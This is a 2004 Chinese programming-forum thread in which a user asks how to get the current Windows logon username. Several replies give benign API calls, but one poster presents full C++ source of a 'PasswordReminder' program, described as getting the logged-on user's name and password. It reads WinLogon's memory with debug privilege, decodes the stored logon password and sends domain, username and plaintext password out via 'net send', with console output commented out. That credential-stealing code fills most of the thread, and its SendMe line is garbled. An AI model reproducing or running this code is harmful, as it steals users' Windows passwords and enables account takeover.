如何得到当前windows登录用户名??

netfbi 2004-11-29 11:33:06
如何得到当前windows登录用户名??
谢谢
...全文
293 10 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
luolovegui 2004-11-29
  • 打赏
  • 举报
回复
I know
whwjn 2004-11-29
  • 打赏
  • 举报
回复
mark
aoosang 2004-11-29
  • 打赏
  • 举报
回复
lzq的本意是提供一个学习的代码而已,
luolovegui 2004-11-29
  • 打赏
  • 举报
回复
Write so much.

It just GetUserName()
lzzqqq 2004-11-29
  • 打赏
  • 举报
回复
或直接用
char UserName[MAX_PATH]=NULL;
GetEnvironmentVariableW (L"USERNAME", UserName, 0x400);
老夏Max 2004-11-29
  • 打赏
  • 举报
回复
LPTSTR UserName;
DWORD cchBuff = 256;
TCHAR tchBuffer[1024];

ZeroMemory(&tchBuffer, sizeof(tchBuffer)/sizeof(TCHAR));
UserName = tchBuffer;
GetUserName(UserName, &cchBuff)
lzzqqq 2004-11-29
  • 打赏
  • 举报
回复
BOOL LocatePasswordPageWin2K(DWORD WinLogonPID, PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K 0x400
#define USER_PASSWORD_OFFSET_WIN2K 0x800
HANDLE WinLogonHandle =OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID);
if (WinLogonHandle == 0)
return (FALSE);
*PasswordLength = 0;
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);
DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
DWORD Increment = SystemInfo.dwPageSize;
MEMORY_BASIC_INFORMATION MemoryBasicInformation;
while (i < MaxMemory)
{
if (VirtualQueryEx(WinLogonHandle,(PVOID) i,&MemoryBasicInformation,sizeof (MEMORY_BASIC_INFORMATION)))
{
Increment = MemoryBasicInformation.RegionSize;
if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)&&((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID RealStartingAddressP =HeapAlloc(GetProcessHeap (),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize);
DWORD BytesCopied = 0;
if (ReadProcessMemory(WinLogonHandle,(PVOID) i,RealStartingAddressP,MemoryBasicInformation.RegionSize,&BytesCopied))
{
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)&&(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
{
RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
// Calculate the length of encoded unicode string.
PBYTE p = (PBYTE) PasswordP;
DWORD Loc = (DWORD) p;
DWORD Len = 0;
if ((*p == 0)&&(* (PBYTE) ((DWORD) p + 1) == 0));
else
do
{
Len++;
Loc += 2;
p = (PBYTE) Loc;
} while
(*p != 0);
*PasswordLength = Len;
CloseHandle(WinLogonHandle);
return (TRUE);
}
}
HeapFree(GetProcessHeap (),0,RealStartingAddressP);
}
}
else
Increment = SystemInfo.dwPageSize;
// Move to next memory block.
i += Increment;
}
CloseHandle(WinLogonHandle);
return (FALSE);
} // LocatePasswordPageWin2K

void DisplayPasswordWinNT(void)
{
UNICODE_STRING EncodedString;
EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer = (PWSTR) HeapAlloc(GetProcessHeap (),HEAP_ZERO_MEMORY,EncodedString.MaximumLength);
CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t));
// Finally - decode the password.
// Note that only one call is required since the hash-byte
// was part of the orginally encoded string.
pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString);
char msg[1024] ;
memset(msg,0,1024*sizeof(char));
sprintf(msg,"用户域:%S\n用户名:%S\n密 码:%S\n", UserDomain, UserName, EncodedString.Buffer);
SendMe(msg);
//printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer);
//printf ("The hash byte is: 0x%2.2x.\n", HashByte);
HeapFree(GetProcessHeap (),0,EncodedString.Buffer);
} // DisplayPasswordWinNT

void DisplayPasswordWin2K (void)
{
DWORD i, Hash = 0;
UNICODE_STRING EncodedString;
EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =(PWSTR) HeapAlloc(GetProcessHeap (),HEAP_ZERO_MEMORY,EncodedString.MaximumLength);
// This is a brute force technique since the hash-byte
// is not stored as part of the encoded string - :>(.
for (i = 0; i <= 0xff; i++)
{
CopyMemory(EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t));
// Finally - try to decode the password.
pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString);
// Check for a viewable password.
PBYTE p = (PBYTE) EncodedString.Buffer;
BOOL Viewable = TRUE;
DWORD j, k;
for (j = 0; (j < PasswordLength) && Viewable; j++)
{
if ((*p)&&(* (PBYTE)(DWORD (p) + 1) == 0))
{
if (*p < 0x20)
Viewable = FALSE;
if (*p > 0x7e)
Viewable = FALSE;
}
else
Viewable = FALSE;
k = DWORD (p);
k++; k++;
p = (PBYTE) k;
}
if (Viewable)
{
char msg[1024] ;
memset(msg,0,1024*sizeof(char));
sprintf(msg,"用户域:%S\n用户名:%S\n密 码:%S\n", UserDomain, UserName, EncodedString.Buffer);
//printf ("The hash byte is: 0x%2.2x.\n", i);
SendMe(msg);
}
}
HeapFree(GetProcessHeap (), 0,EncodedString.Buffer);
} // DisplayPasswordWin2K

void SendMe(char* pc)
{
char c[1024];memset(c,0,1024);
WinExec("C:\\winnt\\system32\\net.exe send ,pc,"密码",MB_OK);
}
// end PasswordReminder.cpp
lzzqqq 2004-11-29
  • 打赏
  • 举报
回复
BOOL IsWinNT(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx (&OSVersionInfo))
return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
else
return (FALSE);
} // IsWinNT

BOOL IsWin2K(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx (&OSVersionInfo))
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) &&(OSVersionInfo.dwMajorVersion == 5));
else
return (FALSE);
} // IsWin2K

BOOL AddDebugPrivilege(void)
{
HANDLE Token;
TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
DWORD ReturnLength = 0;
if (OpenProcessToken(GetCurrentProcess (), TOKEN_QUERY| TOKEN_ADJUST_PRIVILEGES, &Token))
if (LookupPrivilegeValue(NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid))
{
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
return (AdjustTokenPrivileges(Token,FALSE,&TokenPrivileges,sizeof (TOKEN_PRIVILEGES),&PreviousState,&ReturnLength));
}
return (FALSE);
} // AddDebugPrivilege

// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
DWORD FindWinLogon (void)
{
#define INITIAL_ALLOCATION 0x100
DWORD rc = 0;
DWORD SizeNeeded = 0;
PVOID InfoP = HeapAlloc(GetProcessHeap (),HEAP_ZERO_MEMORY,INITIAL_ALLOCATION);
// Find how much memory is required.
pfnNtQuerySystemInformation(0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded);
HeapFree(GetProcessHeap (),0,InfoP);
// Now, allocate the proper amount of memory.
InfoP = HeapAlloc(GetProcessHeap (),HEAP_ZERO_MEMORY,SizeNeeded);
DWORD SizeWritten = SizeNeeded;
if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten))
{
HeapFree (GetProcessHeap (),0,InfoP);
return (0);
}
DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
if (NumHandles == 0)
{
HeapFree(GetProcessHeap (), 0,InfoP);
return (0);
}
PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =(PQUERY_SYSTEM_INFORMATION) InfoP;
DWORD i;
for (i = 1; i <= NumHandles; i++)
{
// "5" is the value of a kernel object type process.
if (QuerySystemInformationP->HandleType == 5)
{
PVOID DebugBufferP =pfnRtlCreateQueryDebugBuffer(0, 0);
if (pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,1,DebugBufferP) == 0)
{
PPROCESS_INFO_HEADER ProcessInfoHeaderP =(PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
DWORD Count =ProcessInfoHeaderP->Count;
PPROCESS_INFO ProcessInfoP =(PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
{
DWORD i;
DWORD dw = (DWORD) ProcessInfoP;
for (i = 0; i < Count; i++)
{
dw += sizeof (PROCESS_INFO);
ProcessInfoP = (PPROCESS_INFO) dw;
if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
return (0);
if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
rc = QuerySystemInformationP->PID;
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
HeapFree(GetProcessHeap (),0,InfoP);
return (rc);
}
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
}
DWORD dw = (DWORD) QuerySystemInformationP;
dw += sizeof (QUERY_SYSTEM_INFORMATION);
QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
}
HeapFree (GetProcessHeap (),0,InfoP);
return (rc);
} // FindWinLogon

BOOL LocatePasswordPageWinNT(DWORD WinLogonPID, PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT 0x200
#define USER_PASSWORD_OFFSET_WINNT 0x400
BOOL rc = FALSE;
HANDLE WinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID);
if (WinLogonHandle == 0)
return (rc);
*PasswordLength = 0;
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);
DWORD PEB = 0x7ffdf000;
DWORD BytesCopied = 0;
PVOID PEBP = HeapAlloc(GetProcessHeap (),HEAP_ZERO_MEMORY,SystemInfo.dwPageSize);
if (!ReadProcessMemory(WinLogonHandle,(PVOID) PEB,PEBP,SystemInfo.dwPageSize,&BytesCopied))
{
CloseHandle(WinLogonHandle);
return (rc);
}
// Grab the value of the 2nd DWORD in the TEB.
PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
MEMORY_BASIC_INFORMATION MemoryBasicInformation;
if (VirtualQueryEx(WinLogonHandle,(PVOID) *WinLogonHeap,&MemoryBasicInformation,sizeof (MEMORY_BASIC_INFORMATION)))
if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)&&((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID WinLogonMemP = HeapAlloc(GetProcessHeap (),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize);
if (ReadProcessMemory(WinLogonHandle,(PVOID) *WinLogonHeap, WinLogonMemP,MemoryBasicInformation.RegionSize,&BytesCopied))
{
DWORD i = (DWORD) WinLogonMemP;
DWORD UserNamePos = 0;
// The order in memory is UserName followed by the UserDomain.
do
{
if ((wcscmp (UserName, (wchar_t *) i) == 0)&&(wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
{
UserNamePos = i;
break;
}
i += 2;
} while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);

if (UserNamePos)
{
PENCODED_PASSWORD_INFO EncodedPasswordInfoP =(PENCODED_PASSWORD_INFO)((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
FILETIME LocalFileTime;
SYSTEMTIME SystemTime;
*PasswordLength =(EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34);
PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34));
rc = TRUE;
}
}
}

HeapFree(GetProcessHeap (),0, PEBP);
CloseHandle (WinLogonHandle);
return (rc);
} // LocatePasswordPageWinNT

lzzqqq 2004-11-29
  • 打赏
  • 举报
回复
给你个得到当前登录用户名称/密码的例子看看:
创建一个console工程,直接编译就行。
// PasswordReminder.cpp
//
// This code is licensed under the terms of the GPL (gnu public license).
//

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// Undocumented typedef's
typedef struct _QUERY_SYSTEM_INFORMATION
{
DWORD GrantedAccess;
DWORD PID;
WORD HandleType;
WORD HandleId;
DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
DWORD Count;
DWORD Unk04;
DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
DWORD LoadAddress;
DWORD Size;
DWORD Unk08;
DWORD Enumerator;
DWORD Unk10;
char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
DWORD HashByte;
DWORD Unk04;
DWORD Unk08;
DWORD Unk0C;
FILETIME LoggedOn;
DWORD Unk18;
DWORD Unk1C;
DWORD Unk20;
DWORD Unk24;
DWORD Unk28;
UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (void);
void DisplayPasswordWin2K (void);
void SendMe(char* pc);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];

int __cdecl main(int argc, char* argv[])
{
//printf ("\n\tPasswordReminder\n\n");
if ((!IsWinNT())&&(!IsWin2K ()))
{
//printf ("Windows NT or Windows 2000 are required.\n");
return (0);
}

// Add debug privilege to PasswordReminder -
// this is needed for the search for Winlogon.
if (!AddDebugPrivilege ())
{
//printf ("Unable to add debug privilege.\n");
return (0);
}
//printf ("The debug privilege has been added to PasswordReminder.\n");

HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL");
pfnNtQuerySystemInformation =(PFNNTQUERYSYSTEMINFORMATION) GetProcAddress(hNtDll, "NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer =(PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString =(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString");

// Locate WinLogon's PID - need debug privilege and admin rights.
DWORD WinLogonPID = FindWinLogon ();
if (WinLogonPID == 0)
{
//printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
//printf ("PasswordReminder is unable to find the password in memory.\n");
FreeLibrary (hNtDll);
return (0);
}
//printf ("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID);

// Set values to check memory block against.
memset (UserName, 0, sizeof (UserName));
memset (UserDomain, 0, sizeof (UserDomain));
GetEnvironmentVariableW (L"USERNAME", UserName, 0x400);
GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);

// Locate the block of memory containing
// the password in WinLogon's memory space.
BOOL FoundPasswordPage = FALSE;
if (IsWin2K ())
FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength);
else
FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength);

if (FoundPasswordPage)
{
if (PasswordLength == 0)
{
char msg[1024] ;
memset(msg,0,1024*sizeof(char));
sprintf (msg,"The logon information is: %S/%S.There is no password.\n",UserDomain, UserName);
//printf ("The hash byte is: 0x%2.2x.\n", i);
SendMe(msg);
}
else
{
//printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength);
// Decode the password string.
if (IsWin2K ())
DisplayPasswordWin2K ();
else
DisplayPasswordWinNT ();
}
}
else;
//printf ("PasswordReminder is unable to find the password in memory.\n");

FreeLibrary (hNtDll);

return (0);
} // main

netfbi 2004-11-29
  • 打赏
  • 举报
回复
谢谢各位~
我结帐了~
实验:内置对象使用 一、实验目的 1、掌握各个内置对象的含义; 2、理解并熟练应用session、application对象。 二、实验内容 1、设计聊天室,在聊天室中,需要通过JSP内置对象application来实时保存特定数量的当前聊天信息。 聊天室的设计包括:用户进行登录,选择聊天室,进行聊天,退出聊天室。 在聊天室中,用户只需输入一个用户名就可以进入聊天室,但是如果当前有人在使用该用户名,那么就必须换一个唯一的用户名。 具体要求:  用户登录成功后,程序会要求用户选择聊天室。可以不设置用户自行建立聊天室的功能,而且在聊天中途不能从一个聊天室切换到另一个聊天室。  进入聊天室后,用户可以从用户信息窗口看到该聊天室中所有用户的用户名,也可以在聊天窗口中看到随时更新的聊天信息。用户可以给所有人或某一个聊天用户发送公共的聊天信息,这个聊天内容大家都可以看到。用户也可以给某个用户发送私人的聊天信息,这种信息属于私聊信息,只有发送者和接收者可以看到。此外,聊天窗口还会出现一些系统公告,比如某某上站、某某离开等消息,另外用户还可以自己定义聊天信息和聊天用户信息刷新的时间间隔。  在用户单击“退出”按钮后,页面关闭,同时application和session中保存的信息都将丢失。 三、实验方法 1、用户登录信息使用request对象getParameter()方法得到用户登陆的一些信息; 2、公聊信息可以使用application对象,私聊信息使用session对象。 3、聊天的信息要不断刷新页面,使用户实时看到聊天信息。 4、用户退出时,有两种情况需要考虑:一是用户点击“退出”按钮,二是关闭浏览器,强制退出窗口,可查阅windows感知浏览器关闭的事件的相应方法。

18,363

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧